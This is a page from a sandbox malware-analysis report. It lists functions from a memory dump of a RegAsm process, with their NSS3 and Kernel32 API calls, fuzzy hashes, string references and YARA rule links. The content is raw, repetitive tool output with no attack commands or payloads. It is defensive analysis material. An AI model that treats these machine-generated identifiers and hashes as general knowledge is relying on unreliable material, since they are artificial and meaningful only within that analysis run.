Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 51c5b17ebf7fbd3c26179127ebd3b446e8f4369f14d48154b1fae4bbb09f31c7
Instruction ID: ba90568311b6d5b8f4a2621a76a2a69debcd3be82e9af4087f8934aaa8791e3b
Opcode Fuzzy Hash: 51c5b17ebf7fbd3c26179127ebd3b446e8f4369f14d48154b1fae4bbb09f31c7
Instruction Fuzzy Hash: 4E913BB5900601DFCB00EF15C89085ABBF1FF5931872985ADD81A9BB62E736FC45CB91

Function 6C428DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C428E22
EnterCriticalSection.KERNEL32(?), ref: 6C428E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C428E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C428E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C428E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C428EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C428EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C428EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C428F00
free.MOZGLUE(?), ref: 6C428F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C428F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C428F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C428F5B
PR_Unlock.NSS3(?), ref: 6C428F72
PR_Unlock.NSS3(?), ref: 6C428F82

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 878744a1ca285faabfe1ae0628ff25c6a8738e753e708970ecc24a287615b541
Instruction ID: 4003d2a48285eea01b6f4ed30a2c7b748f06ccdad2dc9f889460b89c53b5f898
Opcode Fuzzy Hash: 878744a1ca285faabfe1ae0628ff25c6a8738e753e708970ecc24a287615b541
Instruction Fuzzy Hash: D95103B3E002119FEB10DE68CC86D6EB7B9EF95359B154129EC089B700E739ED4587E1

Function 6C44CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C44CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C44CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C44CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C44CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C44CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C44CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C44CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C44CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C44CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C44CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C44CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C44CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C44CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C44D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C44D021

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 3369628ff44bd5bf35652c7cfd55d159aef172c58af700493ee2f1e32d429bee
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 63310D61B5291037FF19945BED21F9E145A8B6630FF44003CF90AE6FC1FE859A2602E9

Function 6C520FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C521000

Part of subcall function 6C4D9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C401A48), ref: 6C4D9BB3
Part of subcall function 6C4D9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C401A48), ref: 6C4D9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C521016

Part of subcall function 6C4BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4BC2BF

PR_Unlock.NSS3(?), ref: 6C521021

Part of subcall function 6C4BDD70: TlsGetValue.KERNEL32 ref: 6C4BDD8C
Part of subcall function 6C4BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C4BDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C521046
PR_Unlock.NSS3(?), ref: 6C52106B
PR_Lock.NSS3 ref: 6C521079
PR_Unlock.NSS3 ref: 6C521096
free.MOZGLUE(?), ref: 6C5210A7
free.MOZGLUE(?), ref: 6C5210B4
PR_DestroyCondVar.NSS3(?), ref: 6C5210BF
PR_DestroyCondVar.NSS3(?), ref: 6C5210CA
PR_DestroyCondVar.NSS3(?), ref: 6C5210D5
PR_DestroyCondVar.NSS3(?), ref: 6C5210E0
PR_DestroyLock.NSS3(?), ref: 6C5210EB
free.MOZGLUE(?), ref: 6C521105

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: b7fb8c235f9c26a227ffd54200c7a7dbbb17e399bf0a486acc34ebcff994536c
Instruction ID: 2a297ddcfa70b3ab378db74280bb06c7d0d730033f0e24b4c230fef85876a270
Opcode Fuzzy Hash: b7fb8c235f9c26a227ffd54200c7a7dbbb17e399bf0a486acc34ebcff994536c
Instruction Fuzzy Hash: 22316DB5A00501ABD702EF24EC42E46BBB5FF01318B194139E80956FA1E736F978DBD2

Function 6C45EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C45EE0B

Part of subcall function 6C470BE0: malloc.MOZGLUE(6C468D2D,?,00000000,?), ref: 6C470BF8
Part of subcall function 6C470BE0: TlsGetValue.KERNEL32(6C468D2D,?,00000000,?), ref: 6C470C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C45EEE1

Part of subcall function 6C451D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C451D7E
Part of subcall function 6C451D50: EnterCriticalSection.KERNEL32(?), ref: 6C451D8E
Part of subcall function 6C451D50: PR_Unlock.NSS3(?), ref: 6C451DD3

TlsGetValue.KERNEL32 ref: 6C45EE51
EnterCriticalSection.KERNEL32(?), ref: 6C45EE65
PR_Unlock.NSS3(?), ref: 6C45EEA2
free.MOZGLUE(?), ref: 6C45EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C45EED0
PR_Unlock.NSS3(?), ref: 6C45EF48
free.MOZGLUE(?), ref: 6C45EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C45EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C45EFA4
free.MOZGLUE(?), ref: 6C45EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C45F055
free.MOZGLUE(?), ref: 6C45F060

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 4ebb0d236f0e20eef8516f492daed12cac838ce8128eafee0eea771e4b2bb5c5
Instruction ID: d3ae0b6b76cdad6279df94e5c0320e5d3e09687fc0b6b0afa64ef8b791da0e64
Opcode Fuzzy Hash: 4ebb0d236f0e20eef8516f492daed12cac838ce8128eafee0eea771e4b2bb5c5
Instruction Fuzzy Hash: 27816E71A00205ABDF00DF65DC85FEE7BB5BF09318F550028E919A7711E735E9248BE1

Function 6C424CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C424D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C424D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C424DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C424E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C424E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C424E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C424E85
DER_Encode_Util.NSS3(?,?,6C5705A4,00000000), ref: 6C424EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C424F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C424F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C424F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C424F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C424F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C424FC8

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 6adae64e0bef1dc8d285e404024286520cca3966f6cbeda3f401bc6df1da08b6
Instruction ID: 11ee9501f9c409b21b61e03bc8e4e5ca5aba7176e146ef23e01f84d1f9492467
Opcode Fuzzy Hash: 6adae64e0bef1dc8d285e404024286520cca3966f6cbeda3f401bc6df1da08b6
Instruction Fuzzy Hash: 7281AFB1908301AFE721CF24D881F5AB7E4EB88398F15992DF958DB740E735E905CB92

Function 6C458F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C459582), ref: 6C458F5B

Part of subcall function 6C46BE30: SECOID_FindOID_Util.NSS3(6C42311B,00000000,?,6C42311B,?), ref: 6C46BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C458F6A

Part of subcall function 6C470FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4187ED,00000800,6C40EF74,00000000), ref: 6C471000
Part of subcall function 6C470FF0: PR_NewLock.NSS3(?,00000800,6C40EF74,00000000), ref: 6C471016
Part of subcall function 6C470FF0: PL_InitArenaPool.NSS3(00000000,security,6C4187ED,00000008,?,00000800,6C40EF74,00000000), ref: 6C47102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C458FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C458FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C53D820,6C459576), ref: 6C458FF9
DER_GetInteger_Util.NSS3(?), ref: 6C45901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C45903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C459062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C4590A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C4590CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C4590F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C45912D
free.MOZGLUE(00000000), ref: 6C459136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C459145

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 795108a9f3f6d86360b19c02fa301451fe20141f06422d1edc2f2bbc70c3b906
Instruction ID: 9934b73a17b9a65cacc26c85eff1fdc597dbb67190a8baf6bb24e1f6aeb41d48
Opcode Fuzzy Hash: 795108a9f3f6d86360b19c02fa301451fe20141f06422d1edc2f2bbc70c3b906
Instruction Fuzzy Hash: 6351D1B2A042009BE700CF29DC81F9BB7E4AF94318F454929E858D7741E736E956CBD2

Function 6C524960 Relevance: 21.1, APIs: 14, Instructions: 121COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000004,?,6C528061,?,?,?,?), ref: 6C52497D
OpenSemaphoreA.KERNEL32(00100002,00000000,?), ref: 6C52499E
GetLastError.KERNEL32(?,?,6C528061,?,?,?,?), ref: 6C5249AC
PR_SetError.NSS3(FFFFE8C2,0000007B,?,?,6C528061,?,?,?,?), ref: 6C5249C2

Part of subcall function 6C4BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4BC2BF

PR_SetError.NSS3(FFFFE890,00000000,?,?,6C528061,?,?,?,?), ref: 6C5249D6
CreateSemaphoreA.KERNEL32(00000000,6C528061,7FFFFFFF,?), ref: 6C524A19
GetLastError.KERNEL32(?,?,?,?,6C528061,?,?,?,?), ref: 6C524A30
PR_SetError.NSS3(FFFFE8C9,000000B7,?,?,?,?,6C528061,?,?,?,?), ref: 6C524A49
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,6C528061,?,?,?,?), ref: 6C524A52
GetLastError.KERNEL32(?,?,?,?,6C528061,?,?,?,?), ref: 6C524A5A
free.MOZGLUE(00000000,?,?,?,?,?,6C528061,?,?,?,?), ref: 6C524A6A
CreateSemaphoreA.KERNEL32(?,6C528061,7FFFFFFF,?), ref: 6C524A9A
free.MOZGLUE(?,?,?,?,?,6C528061,?,?,?,?), ref: 6C524AAE
free.MOZGLUE(?,?,?,?,?,6C528061,?,?,?,?), ref: 6C524AC2

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Error$LastSemaphorefree$Create$CloseHandleOpenValuemalloc
String ID:
API String ID: 2092618053-0
Opcode ID: 0f94809aa8f9b9a7ff1da17dcc9702e60601b7d38cbf43d61d9a5dc198a0f457
Instruction ID: ee9f3f6eb36c632448ac5ab3f5e2cb9ca1df64736b0f73ef935894aa3584029e
Opcode Fuzzy Hash: 0f94809aa8f9b9a7ff1da17dcc9702e60601b7d38cbf43d61d9a5dc198a0f457
Instruction Fuzzy Hash: 2441B470B002059BDF00EFA9DC89F9E77F9EB49359F140128F919A7790DB35A9048B69

Function 6C44ADC0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C44ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C44AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C44AE29

Part of subcall function 6C52D930: PL_strncpyz.NSS3(?,?,?), ref: 6C52D963

PR_LogPrint.NSS3(?,00000000), ref: 6C44AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C44AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C44AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C44AEA0

Strings

hSession = 0x%x, xrefs: 6C44AE01, 6C44AE11
nRl, xrefs: 6C44AEB8, 6C44AEE6
C_MessageSignInit, xrefs: 6C44ADE1
(CK_INVALID_HANDLE), xrefs: 6C44AE1F, 6C44AE80
hKey = 0x%x, xrefs: 6C44AE62, 6C44AE72

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit$nRl
API String ID: 332880674-1158947150
Opcode ID: ea915c8c4ebd996abdefe255605af60fa2a7ec417c4759c9ca6d16176462b013
Instruction ID: 20449e569d32724b15022316a5998330a11930c1f94c69eaf9c775c6f1f9a0ed
Opcode Fuzzy Hash: ea915c8c4ebd996abdefe255605af60fa2a7ec417c4759c9ca6d16176462b013
Instruction Fuzzy Hash: 52310771641124EFEB01DF14DC48FAA37B5FF82319F258039E9095BB51DB349849CBA5

Function 6C442DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C442DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C442E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C442E33

Part of subcall function 6C52D930: PL_strncpyz.NSS3(?,?,?), ref: 6C52D963

PR_LogPrint.NSS3(?,00000000), ref: 6C442E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C442E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C442E81

Strings

hSession = 0x%x, xrefs: 6C442E0E, 6C442E1E
pPin = 0x%p, xrefs: 6C442E63
nRl, xrefs: 6C442E99, 6C442EC4
C_InitPIN, xrefs: 6C442DF1
ulPinLen = %d, xrefs: 6C442E7C
(CK_INVALID_HANDLE), xrefs: 6C442E2C

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$nRl
API String ID: 1003633598-3339178536
Opcode ID: 8214576c9173bd241c753ebda8ec8225d715f5d86cc059fce1e3de2af284e2ac
Instruction ID: 9b531dd4f1c837753b5edb474d71104bf072e2079b0848bdb5466bb1c8130170
Opcode Fuzzy Hash: 8214576c9173bd241c753ebda8ec8225d715f5d86cc059fce1e3de2af284e2ac
Instruction Fuzzy Hash: 9E31E671601124EFEB11DB14CC4CF9A37B5EB82319F258025E909A7B51EF349889CBF5

Function 6C446EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C446F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C446F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C446F53

Part of subcall function 6C52D930: PL_strncpyz.NSS3(?,?,?), ref: 6C52D963

PR_LogPrint.NSS3(?,00000000), ref: 6C446F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C446F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C446FA1

Strings

hSession = 0x%x, xrefs: 6C446F2E, 6C446F3E
nRl, xrefs: 6C446FB9, 6C446FE7
C_DigestUpdate, xrefs: 6C446F11
ulPartLen = %d, xrefs: 6C446F9C
(CK_INVALID_HANDLE), xrefs: 6C446F4C
pPart = 0x%p, xrefs: 6C446F83

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$nRl
API String ID: 1003633598-1644243795
Opcode ID: 408f3a81f580427d998e470fc35b7c835f555e6f8ce4dfaabc1943fa674c0137
Instruction ID: b07d2cf1805a457fce1bfa987e73354e0640eefc3beca6b146ae820df8eb378f
Opcode Fuzzy Hash: 408f3a81f580427d998e470fc35b7c835f555e6f8ce4dfaabc1943fa674c0137
Instruction Fuzzy Hash: 7931E734601120EFEB01DB54DD48F9A37B5EB82319F158039E808A7B52DB319C89CBF5

Function 6C52C8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6C52C8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C52C8DA
malloc.MOZGLUE(00000001), ref: 6C52C8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C52C8F8
PR_NewLock.NSS3 ref: 6C52C909
PR_NewCondVar.NSS3(00000000), ref: 6C52C918
PR_NewCondVar.NSS3(00000000), ref: 6C52C92A

Part of subcall function 6C400F00: PR_GetPageSize.NSS3(6C400936,FFFFE8AE,?,6C3916B7,00000000,?,6C400936,00000000,?,6C39204A), ref: 6C400F1B
Part of subcall function 6C400F00: PR_NewLogModule.NSS3(clock,6C400936,FFFFE8AE,?,6C3916B7,00000000,?,6C400936,00000000,?,6C39204A), ref: 6C400F25

free.MOZGLUE(00000000), ref: 6C52C947

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: b73a087578bbfd25c196e4d420e8d6d3c555cdf664bbd94b3472b3991c612886
Instruction ID: 20a154197b6fe4518189496cac65114c50b8f216f1f585477a8b99f2cbe17058
